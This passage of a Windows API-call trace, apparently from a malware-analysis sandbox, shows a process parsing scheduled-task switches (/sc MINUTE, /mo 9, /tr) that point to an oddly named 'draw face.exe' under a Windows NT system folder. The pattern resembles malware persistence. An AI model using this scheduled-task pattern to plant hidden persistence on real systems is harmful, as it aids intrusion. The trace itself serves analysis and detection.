(lpStart="-/", wMatch=0x2f) returned="/" [0119.571] lstrlenW (lpString="?") returned 1 [0119.571] lstrlenW (lpString="?") returned 1 [0119.571] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.571] lstrlenW (lpString="sc") returned 2 [0119.571] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.571] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|?|") returned 3 [0119.571] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.571] lstrlenW (lpString="|?|") returned 3 [0119.571] lstrlenW (lpString="|sc|") returned 4 [0119.571] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.571] lstrlenW (lpString="create") returned 6 [0119.571] lstrlenW (lpString="create") returned 6 [0119.571] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.572] lstrlenW (lpString="sc") returned 2 [0119.572] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.572] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.572] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.572] lstrlenW (lpString="|create|") returned 8 [0119.572] lstrlenW (lpString="|sc|") returned 4 [0119.572] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0119.572] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.572] lstrlenW (lpString="delete") returned 6 [0119.572] lstrlenW (lpString="delete") returned 6 [0119.572] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.572] lstrlenW (lpString="sc") returned 2 [0119.572] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.572] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|delete|") returned 8 [0119.572] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.572] lstrlenW (lpString="|delete|") returned 8 [0119.572] lstrlenW (lpString="|sc|") returned 4 [0119.572] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0119.572] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.573] lstrlenW (lpString="query") returned 5 [0119.573] lstrlenW (lpString="query") returned 5 [0119.573] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.573] lstrlenW (lpString="sc") returned 2 [0119.573] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.573] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|query|") returned 7 [0119.573] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.573] lstrlenW (lpString="|query|") returned 7 [0119.573] lstrlenW (lpString="|sc|") returned 4 [0119.573] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0119.573] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.573] lstrlenW (lpString="change") returned 6 [0119.573] lstrlenW (lpString="change") returned 6 [0119.573] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.573] lstrlenW (lpString="sc") returned 2 [0119.573] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.573] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|change|") returned 8 [0119.573] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.574] lstrlenW (lpString="|change|") returned 8 [0119.574] lstrlenW (lpString="|sc|") returned 4 [0119.574] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0119.574] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.574] lstrlenW (lpString="run") returned 3 [0119.574] lstrlenW (lpString="run") returned 3 [0119.574] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.574] lstrlenW (lpString="sc") returned 2 [0119.574] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.574] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|run|") returned 5 [0119.574] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.574] lstrlenW (lpString="|run|") returned 5 [0119.574] lstrlenW (lpString="|sc|") returned 4 [0119.574] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0119.574] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.575] lstrlenW (lpString="end") returned 3 [0119.575] lstrlenW (lpString="end") returned 3 [0119.575] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.575] lstrlenW (lpString="sc") returned 2 [0119.575] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.575] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|end|") returned 5 [0119.575] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.575] lstrlenW (lpString="|end|") returned 5 [0119.575] lstrlenW (lpString="|sc|") returned 4 [0119.575] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0119.575] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.576] lstrlenW (lpString="showsid") returned 7 [0119.576] lstrlenW (lpString="showsid") returned 7 [0119.576] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.576] lstrlenW (lpString="sc") returned 2 [0119.576] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.576] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|showsid|") returned 9 [0119.576] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|sc|") returned 4 [0119.576] lstrlenW (lpString="|showsid|") returned 9 [0119.576] lstrlenW (lpString="|sc|") returned 4 [0119.576] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0119.576] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.576] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.576] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.576] lstrlenW (lpString="/sc") returned 3 [0119.576] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0119.576] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.576] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.576] lstrlenW (lpString="/sc") returned 3 [0119.576] GetProcessHeap () returned 0x160526b0000 [0119.576] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x8) returned 0x160526b42e0 [0119.577] GetProcessHeap () returned 0x160526b0000 [0119.577] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb860 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] lstrlenW (lpString="MINUTE") returned 6 [0119.577] lstrlenW (lpString="-/") returned 2 [0119.577] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] lstrlenW (lpString="MINUTE") returned 6 [0119.577] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] lstrlenW (lpString="MINUTE") returned 6 [0119.577] GetProcessHeap () returned 0x160526b0000 [0119.577] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526b4300 [0119.577] GetProcessHeap () returned 0x160526b0000 [0119.577] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb7d0 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.577] lstrlenW (lpString="/mo") returned 3 [0119.578] lstrlenW (lpString="-/") returned 2 [0119.578] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.578] lstrlenW (lpString="?") returned 1 [0119.578] lstrlenW (lpString="?") returned 1 [0119.578] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.578] lstrlenW (lpString="mo") returned 2 [0119.578] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.578] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|?|") returned 3 [0119.578] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.578] lstrlenW (lpString="|?|") returned 3 [0119.578] lstrlenW (lpString="|mo|") returned 4 [0119.578] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.578] lstrlenW (lpString="create") returned 6 [0119.578] lstrlenW (lpString="create") returned 6 [0119.578] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.578] lstrlenW (lpString="mo") returned 2 [0119.578] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.578] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.578] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.579] lstrlenW (lpString="|create|") returned 8 [0119.579] lstrlenW (lpString="|mo|") returned 4 [0119.579] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0119.579] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.579] lstrlenW (lpString="delete") returned 6 [0119.579] lstrlenW (lpString="delete") returned 6 [0119.579] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.579] lstrlenW (lpString="mo") returned 2 [0119.579] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.579] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|delete|") returned 8 [0119.579] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.579] lstrlenW (lpString="|delete|") returned 8 [0119.579] lstrlenW (lpString="|mo|") returned 4 [0119.579] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0119.579] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.579] lstrlenW (lpString="query") returned 5 [0119.579] lstrlenW (lpString="query") returned 5 [0119.579] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.579] lstrlenW (lpString="mo") returned 2 [0119.580] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.580] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|query|") returned 7 [0119.580] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.580] lstrlenW (lpString="|query|") returned 7 [0119.580] lstrlenW (lpString="|mo|") returned 4 [0119.580] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0119.580] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.580] lstrlenW (lpString="change") returned 6 [0119.580] lstrlenW (lpString="change") returned 6 [0119.580] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.580] lstrlenW (lpString="mo") returned 2 [0119.580] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.580] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|change|") returned 8 [0119.580] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.580] lstrlenW (lpString="|change|") returned 8 [0119.580] lstrlenW (lpString="|mo|") returned 4 [0119.580] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0119.580] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.580] lstrlenW (lpString="run") returned 3 [0119.580] lstrlenW (lpString="run") returned 3 [0119.581] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.581] lstrlenW (lpString="mo") returned 2 [0119.581] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.581] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|run|") returned 5 [0119.581] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.581] lstrlenW (lpString="|run|") returned 5 [0119.581] lstrlenW (lpString="|mo|") returned 4 [0119.581] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0119.581] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.581] lstrlenW (lpString="end") returned 3 [0119.581] lstrlenW (lpString="end") returned 3 [0119.581] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.581] lstrlenW (lpString="mo") returned 2 [0119.581] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.581] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|end|") returned 5 [0119.581] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.581] lstrlenW (lpString="|end|") returned 5 [0119.582] lstrlenW (lpString="|mo|") returned 4 [0119.582] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0119.582] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.582] lstrlenW (lpString="showsid") returned 7 [0119.582] lstrlenW (lpString="showsid") returned 7 [0119.582] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.582] lstrlenW (lpString="mo") returned 2 [0119.582] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.582] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|showsid|") returned 9 [0119.582] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|mo|") returned 4 [0119.582] lstrlenW (lpString="|showsid|") returned 9 [0119.582] lstrlenW (lpString="|mo|") returned 4 [0119.583] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0119.583] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.583] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.583] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.585] lstrlenW (lpString="/mo") returned 3 [0119.585] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0119.585] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] lstrlenW (lpString="/mo") returned 3 [0119.586] GetProcessHeap () returned 0x160526b0000 [0119.586] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x8) returned 0x160526b4320 [0119.586] GetProcessHeap () returned 0x160526b0000 [0119.586] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb410 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] lstrlenW (lpString="9") returned 1 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] lstrlenW (lpString="9") returned 1 [0119.586] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] lstrlenW (lpString="9") returned 1 [0119.586] GetProcessHeap () returned 0x160526b0000 [0119.586] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x4) returned 0x160526b4340 [0119.586] GetProcessHeap () returned 0x160526b0000 [0119.586] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb920 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.586] lstrlenW (lpString="/tr") returned 3 [0119.586] lstrlenW (lpString="-/") returned 2 [0119.586] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.587] lstrlenW (lpString="?") returned 1 [0119.587] lstrlenW (lpString="?") returned 1 [0119.587] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.587] lstrlenW (lpString="tr") returned 2 [0119.587] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.587] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|?|") returned 3 [0119.587] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.587] lstrlenW (lpString="|?|") returned 3 [0119.587] lstrlenW (lpString="|tr|") returned 4 [0119.587] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.587] lstrlenW (lpString="create") returned 6 [0119.587] lstrlenW (lpString="create") returned 6 [0119.587] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.587] lstrlenW (lpString="tr") returned 2 [0119.587] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.587] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.587] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.587] lstrlenW (lpString="|create|") returned 8 [0119.587] lstrlenW (lpString="|tr|") returned 4 [0119.587] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0119.588] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.588] lstrlenW (lpString="delete") returned 6 [0119.588] lstrlenW (lpString="delete") returned 6 [0119.588] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.588] lstrlenW (lpString="tr") returned 2 [0119.588] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.588] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|delete|") returned 8 [0119.588] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.588] lstrlenW (lpString="|delete|") returned 8 [0119.588] lstrlenW (lpString="|tr|") returned 4 [0119.588] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0119.588] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.588] lstrlenW (lpString="query") returned 5 [0119.588] lstrlenW (lpString="query") returned 5 [0119.588] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.588] lstrlenW (lpString="tr") returned 2 [0119.588] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.588] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|query|") returned 7 [0119.588] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.588] lstrlenW (lpString="|query|") returned 7 [0119.588] lstrlenW (lpString="|tr|") returned 4 [0119.589] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0119.589] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.589] lstrlenW (lpString="change") returned 6 [0119.589] lstrlenW (lpString="change") returned 6 [0119.589] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.589] lstrlenW (lpString="tr") returned 2 [0119.589] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.589] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|change|") returned 8 [0119.589] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.589] lstrlenW (lpString="|change|") returned 8 [0119.589] lstrlenW (lpString="|tr|") returned 4 [0119.589] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0119.589] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.589] lstrlenW (lpString="run") returned 3 [0119.589] lstrlenW (lpString="run") returned 3 [0119.589] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.589] lstrlenW (lpString="tr") returned 2 [0119.589] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.589] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|run|") returned 5 [0119.589] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.590] lstrlenW (lpString="|run|") returned 5 [0119.590] lstrlenW (lpString="|tr|") returned 4 [0119.590] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0119.590] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.590] lstrlenW (lpString="end") returned 3 [0119.590] lstrlenW (lpString="end") returned 3 [0119.590] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.590] lstrlenW (lpString="tr") returned 2 [0119.590] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.590] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|end|") returned 5 [0119.593] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.593] lstrlenW (lpString="|end|") returned 5 [0119.593] lstrlenW (lpString="|tr|") returned 4 [0119.593] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0119.593] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.593] lstrlenW (lpString="showsid") returned 7 [0119.593] lstrlenW (lpString="showsid") returned 7 [0119.593] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.593] lstrlenW (lpString="tr") returned 2 [0119.593] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.593] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|showsid|") returned 9 [0119.594] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tr|") returned 4 [0119.594] lstrlenW (lpString="|showsid|") returned 9 [0119.594] lstrlenW (lpString="|tr|") returned 4 [0119.594] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0119.594] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.594] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.611] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.735] lstrlenW (lpString="/tr") returned 3 [0119.735] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0119.735] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.735] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.735] lstrlenW (lpString="/tr") returned 3 [0119.735] GetProcessHeap () returned 0x160526b0000 [0119.735] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x8) returned 0x160526b4360 [0119.735] GetProcessHeap () returned 0x160526b0000 [0119.735] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb830 [0119.735] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.735] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.735] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.735] lstrlenW (lpString="-/") returned 2 [0119.736] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.736] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'" [0119.736] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.736] GetProcessHeap () returned 0x160526b0000 [0119.736] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4380 [0119.736] _memicmp (_Buf1=0x160526b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.736] GetProcessHeap () returned 0x160526b0000 [0119.736] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526bab50 [0119.736] GetProcessHeap () returned 0x160526b0000 [0119.736] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526bac50 [0119.736] _memicmp (_Buf1=0x160526bac50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.736] GetProcessHeap () returned 0x160526b0000 [0119.736] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x88) returned 0x160526b3b70 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] lstrlenW (lpString="'C") returned 2 [0119.736] lstrlenW (lpString="-/") returned 2 [0119.736] 